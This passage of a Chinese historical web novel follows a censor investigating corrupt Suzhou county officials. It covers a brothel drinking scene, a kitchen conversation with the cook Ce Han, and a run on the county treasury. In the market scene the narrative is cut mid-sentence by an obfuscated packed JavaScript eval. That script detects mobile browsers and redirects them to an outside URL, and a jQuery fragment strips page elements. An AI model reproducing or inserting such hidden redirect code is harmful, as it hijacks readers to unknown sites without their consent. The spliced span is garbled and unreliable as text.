顾喟自己握着酒杯，嘴里淌蜜似的有无数劝酒的词儿，自己却喝得很少；胡县丞已经喝飘了，来者不拒，最后眼睛都睁不开了，伏在桌上人事不省；巧珍量大，但胃也受不了了，求饶数次无用，反被顾喟指责“不给面子”，只能煎熬着灌酒。 到了最后，顾喟道：“胡老爷瞧着是喝高了，哥几个辛苦把他送回家歇歇。我么……今朝又要借巧珍的干铺了。” 大家“恍然大悟”，自然不能坏了巡按大人的“好事”，没醉倒的几个小吏拱拱手说“顾大人好好休息”，架起烂醉如泥的胡县丞，到了河埠头又唤胡老爷的家丁将他扶上轿子，自己也都离开了。 巧珍表情羞涩，又有些期待，含情脉脉望着顾喟。 顾喟那双眼看起来也是含情脉脉的，眼角隐微带着一丝醺红，翘起的嘴唇若有水光。 “这样好的夜晚，要不要再喝一杯助助兴呢？”他问。 巧珍实在不想喝，但如此气氛下，不忍心拒绝，给顾喟倒上酒：“那奴奴敬顾大人。” “我字子然，叫起来没那么生分。” 巧珍还要说什么，他已经把自己的杯子递到她唇边——里面的酒是她自己倒的。 “嘘……”顾喟说，“喝吧，不要拒绝我。” “子然……”巧珍嚅嗫着，如已经醉了一般，抿下了唇边的酒，他身上的冰片气息，凛然融合在酒香里，她如同也醉了，顾不得胃里的翻腾。 他又递过来一满杯。巧珍推拒了半个“不”字，他的手就温柔地捧着她的脸颊：“酒不醉人人自醉呵……” 巧珍无可奈何地饮下了他的杯中酒，靠着他温暖的掌心，又想往他的肩头靠。 男人一把将她打横抱起，大概是力气不足，颠了两下。 巧珍胃里的酒顿时直往上涌。 “等一歇……”她的话还没说完，涌上来的酒到了喉咙口。她尴尬地捂着嘴，难闻的气味已经漫到口腔里。 她刚被放下，就吐了一地，衣襟上、袖口上沾的全是。 “对不住……”喉头酸涩、鼻尖也酸涩，有酒气的恶劣，也有心里的愧疚。而一瞬间，巧珍看见顾喟脸上的嫌恶。他背着手退了一大步，身上干干净净的，嫌恶的大概是她一身的狼藉。 花妈妈和几个小大姐忙过来扶掖了巧珍，又紧赶着跟顾喟打招呼：“对不住顾大人，小女巧珍原没有那么大的量，今日实在是陪侍顾大人心里高兴，不慎就喝多了。” 顾喟勉强地笑了笑：“没关系，我也是高兴，哪晓得好心也会犯错的。快让巧珍洗一洗，早点休息吧。” 9.第 9 章 顾喟信步到了厨房：“煮点醒酒汤，巧珍醉得厉害。” 侧寒说：“已经煮好了。” 他脸上有些笑意：“你真是解语花。” 换她一声凛冽的“呸！” 他于是又说：“快叫那个小丫头给巧珍送去。我在厨房坐一歇，花厅里俱是酒气和呕吐物的味道，实在待不住。” 他自说自话完，到厨房四边转了转，特别伸头看了看窗外，然后边洗手边说：“你也别闲着，我喝了酒胃也不舒服，你煮碗椒醋汤我吃。” 皮倒是够厚！ 侧寒心里骂他，客人的话不能不听，冷着脸起锅烧油，爆香了葱白，又烹入香醋，然后兑了花椒和淀粉水熬煮椒醋汤。 “加点鸡蛋液和豆腐丝。”顾喟比她想象中的脸皮还要厚，无耻地吩咐着累了一天的侧寒。侧寒没好气地打了一个鸡蛋，搅成蛋液，又“乒乒乓乓”切豆腐丝。 顾喟在她“乒乒乓乓”的声音里，低声说：“刚刚看外面没人。你的三虾面里一堆壳儿是想告诉我，粮仓里新米已换了陈米，只是陈米混杂在仓库底，就像混在面里的虾壳？” 切豆腐丝的清脆刀板声立时一顿，旋即又响。 “以及，吴县县衙里，胡县丞虽是佐使官，却一手遮天，县令王俊安也是被他拿捏的？” 侧寒沉默地切着豆腐丝，有节奏的声音像一首曲子。她眉头舒展，唇角带着一丝丝的笑意。 “以及，吴县的银库，纵有千金也不过是各处——大概是各家钱铺——汇聚而来临时凑数的，所以即便看起来账面的金额是对得上的，底子里的账却已经稀烂。” 他最后笑道：“这个侧寒，应该也不简单。不然，小小厨娘，怎么懂这些污吏的手段？” 刀板声陡然又停了，然后又变得急促起来，她眉梢眼角的笑意化作警惕，切完豆腐后一总丢进沸汤中，漫不经心说：“不晓得顾大人叽里咕噜在讲什么。” 顾喟适意地靠窗坐着，望着山塘河的月色、远处的枫影，叹了一声：“良辰美景奈何天！” “嗯，巧珍在楼上等大人呢。” 他又说：“她吐得浑身都臭死了。你觉得我那么不讲究么？” “难道讲究到厨房间里来了？”侧寒斜乜他冷笑道，“顾大人对新婚妻子还真是礼敬有加，欢场上逢场作戏都不肯，想着法儿忠诚于自己的正室。” 顾喟戏耍她的笑容也凝固了，好半天冷哼一声，扭头继续望着窗外。 一会儿，一碗椒醋汤墩在他面前。小厨娘言语行为失礼，椒醋汤做得是真好，喝起来又酸又烫，花椒和胡椒的香气恰到好处，豆腐和鸡蛋均匀地浮在浓汤里，绵软如绸。 他看她洗碗时露出的左侧脸，在灯光下光滑如剥了壳的熟鸡蛋一样，眼睫毛的影子投在下眼睑，静谧得宛若观音像。 “巧珍的心思，我满足不了——虽然我和胡县丞放话说我要在姑苏找个外室——但她不聪明，我不能要。”他啜了一口汤，突然对侧寒说，“你倒是挺机灵的。” 侧寒扭头瞪他，眼睛圆圆，是生气的样子。昏昏的纱灯悬在她头顶，映得右脸的疤痕也投下丘壑般的阴影，“观音”一时又变作鬼魅。顾喟本能地倒抽了口气，而后发觉了自己的失仪，喝了口热汤缓和了一下心情，笑笑问：“十年前，你八岁，我十二，你脸上没有伤疤，而我——也不叫顾喟。” “漂母一饭，值千金。”他的语意跳转总是出人意料，突然说，“我会报答你的。” 侧寒湿漉漉的手从洗碗池里伸出来：“千金先拿来。” 他失笑：“现在我还没有这么多钱。” “嗤。”她湿漉漉的手又插回水池里，“我是要等你慢慢贪到那么多么？” “小丫头片子，嘴不要那么毒。我来苏州不是为了钱。谢谢你帮忙，两回。”他伸出两根手指。 突然听见脚步声远远传来，他的两根手指顿时收了回去，瞬间眼底是惊惧，而后自己也意识到过激了，但那点狠狠的锋芒收敛得没那么快，所以顿然低头垂眸，用喝椒醋汤来掩饰。 花妈妈掀帘子进门，见他的身影就拊掌笑道：“各处找不着顾大人，原来在这里，奴还以为顾大人今日又回公馆睡了。巧珍还在懊恼呢。” 顾喟说：“我喝多了，要碗椒醋汤解解酒，吃完就回公馆去。” 花妈妈笑道：“那巧珍要伤心死了。” 一扭身坐在顾喟身边，低声道：“胡老爷今天高兴得很，说顾大人很够朋友。已经和奴谈过巧珍的身价银子。她欠债不多，抵偿过身契即可，奴也不敢瞎来。胡老爷还肯为巧珍出一份嫁妆，顾大人千里迢迢，不方便带那些木器、瓷器，就备些金银细软给巧珍添妆。” “什么？” 花妈妈前仰后合笑了一番：“顾大人明白胡老爷的心意就好了，不用出一个大子儿的。其他的，奴来操持，不劳烦你一点，只管抱得美人归。” 顾喟眉梢虽然一挑，但并没有说一个拒绝的字。 ———————————————— 侧寒带着帷帽，步子懒懒地往市集而去。 花妈妈大早就叫醒了她去买菜，说胡老爷安排了今日让顾喟梳拢巧珍。她涂着鲜红胭脂的嘴唇一开一合，说出来的每个字侧寒都听见了，但是好一会儿才听明白：“……胡老爷知道这些书生出身的巡按御史注重名分，喜欢拿乔，不愿意落个‘吃喝嫖赌’的名声在外头，所以干干脆脆买了巧珍送给他做妾，看起来就名正言顺而不像是嫖了。啧啧，他们花了多少心思才搞定了巡按大人，此刻花钱倒是最小的事了。” “这些‘大人们’，都可以喂得饱的吗？”她睡得晚，被推醒的惺忪间听了这么多话，迷迷怔怔间问了一句傻话。 花妈妈裂开血口子似的大嘴忽然闭上了，红红的一团，好容易才说：“哪有喂不饱的？喂多喂少而已吧。你以为都是你爹爹那样的人？” 她叹了口气，戳了戳侧寒的额头：“戆囡！买菜去。” 此刻，她行走在市集上，兜篮里装满了新鲜的菜和肉，但她觉得今晚这些拿来喂狗实在太不值当，也可笑自己犹豫摇摆了那么久，最后还是信了他的鬼话——这种官场上打滚的男人，哪有什么好东西！他套了她的话，了然了吴县漕库、官库的内情，无非是想索贿时更便于使手段吧！ 自己就是个“戆囡”，傻乎乎信他要整顿姑苏官场、为民请命，还要……报仇。大概，是因为自己心里憋的那股怨气也太久太久了，为爹爹，为姆妈，也为自己，所以太希望遇上一位“青天大老爷”，好为自己的一家子的冤屈伸张。 现在暗自后悔上了他的当。 “小大姐，看我这里的好羊肉！”肉铺摊子的屠户老板招徕生意的声音在她耳边响起，“炖汤、白切、酱烧，或是烤得滋滋冒油，都好吃得紧！” 侧寒扭头一看，肉是真好，肥瘦相间，没什么膻味，但她觉得顾喟他们一帮子人不配吃，摇了摇头离开了。 正漫无目的逛着，突然被沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950018|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街一家钱铺排门后钻出的大伙（1）撞了一下，那年轻人连句“对不住”都没说，发足直往县衙钱库的方向奔，又被隔壁一家做绸缎生意的店铺的掌柜拦住了：“小乙，急匆匆哪儿去？不做生意啦？” 侧寒听见钱铺大伙匆匆忙忙、又鬼鬼祟祟说：“我刚听说，衙门前张贴了巡按发的榜文，说钱库再次盘账，以往借的钱款一律凭条子支取，只有今朝一天许支取，明儿一律封库，贴上封条就不知道猴年马月才能收回了。” 绸缎铺那掌柜便跳脚骂道：“衙门里这些吃人不吐骨头的寿头！又做师娘（巫婆）又做鬼！前几天巴巴地逼着我们借钱给衙门，不是说好十天就一定能还的？怎么，突然要封存了？！莫不是想贪我们的钱？皇天菩萨，我们挣点小钱容易么？！” 钱铺大伙“嘘”了一声：“你不要命了？这么大声！仔细胡县丞抓你去衙门吃生活！”捏了捏褡裢里的官府借条，发足又跑，生恐晚了银钱就全打了水漂。 而绸缎店铺的掌柜也赶忙上排门，直接打烊了，大概也要打算到钱库去拿回欠款了。 虽说大部分不敢大声嚷嚷，可即便这样悄默默一传十、十传百，整条街都晓得了。 侧寒好奇，也跟着往钱库方向去，果不其然哓哓嚷嚷都是人： “老爷，你可怜我们小本买卖，若是借的款子用好了，就还给我们店里周转。” “胡老爷，巡按大人是查完账了吧？钱铺里不是不愿支应官府，只是这两天流水有点紧。” “是啊，老爷们，饭快吃不上了……” ………… 胡县丞带着衙役站在钱库门口呼喝，他昨晚喝多了酒，脸还浮肿，面色却是铁青的，眼袋因愤怒而一哆嗦一哆嗦的，粉皮儿似的面颊抖着，骂完这个骂那个，最后一跺脚：“谁造的谣说钱库盘账要贴封条的？借了你们的钱少不得会还，你们不信我胡老爷是怎么的？” 大家伙儿沉默了片刻，又陪着笑脸说：“不是不信胡老爷，实在是店里周转不过来……” “胡老爷，高抬贵手吧，我借条都带来了。” “我们姑苏城里，吴县是最富裕的首县！这么多商铺钱铺一塌刮子全都周转不过来了？！”胡老爷声音拔高，尖锐得跟老娘们吵架似的，指着下面的人瞪眼骂，“谁造的谣？谁造的谣！我要请王太爷的板子请他吃吃了！” “可榜文……” “什么榜文？”胡县丞一怔，又有些明白了，对身边一个小厮使了个眼色，那小厮飞奔而去，好一会儿回来，凑在胡县丞耳边说了几句。 胡县丞犹自不信，轻声问：“确定上头是巡按御史的印？” “确定的。” 他气得牙齿都锉得吱嘎吱嘎响，吩咐那小厮：“知道了，赶紧告诉王太爷，我一会儿就过去。” 胡县丞揸开双手，排开堵在门口的商铺大小老板、伙计，不耐烦说：“别嚷嚷了！我请示了县太爷就回来办理你们的事！哪个再啰嗦一总儿抓起来关班房去！” 侧寒看着衙门口这热闹的一幕，有些恍然大悟，尤其是看见胡县丞钻进轿子前嘟囔的口型是“养不熟的白眼儿狼”，她不由“噗嗤”笑出了声。 她轻巧地旋身，继续去买菜。经过羊肉铺子，她大声对屠户说：“羊肋排、羊后腿，肥瘦相间最好的肉，各给我割两斤！” 屠户笑着给她割肉，边问：“小大姐一看就好手艺、好大气，做了我这好羊肉给家里男人吃？” “不，喂‘狼’。”